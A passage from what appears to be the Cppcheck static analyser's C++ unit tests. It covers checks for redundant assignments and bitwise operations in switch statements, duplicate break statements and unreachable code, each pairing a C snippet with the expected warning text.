\\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" 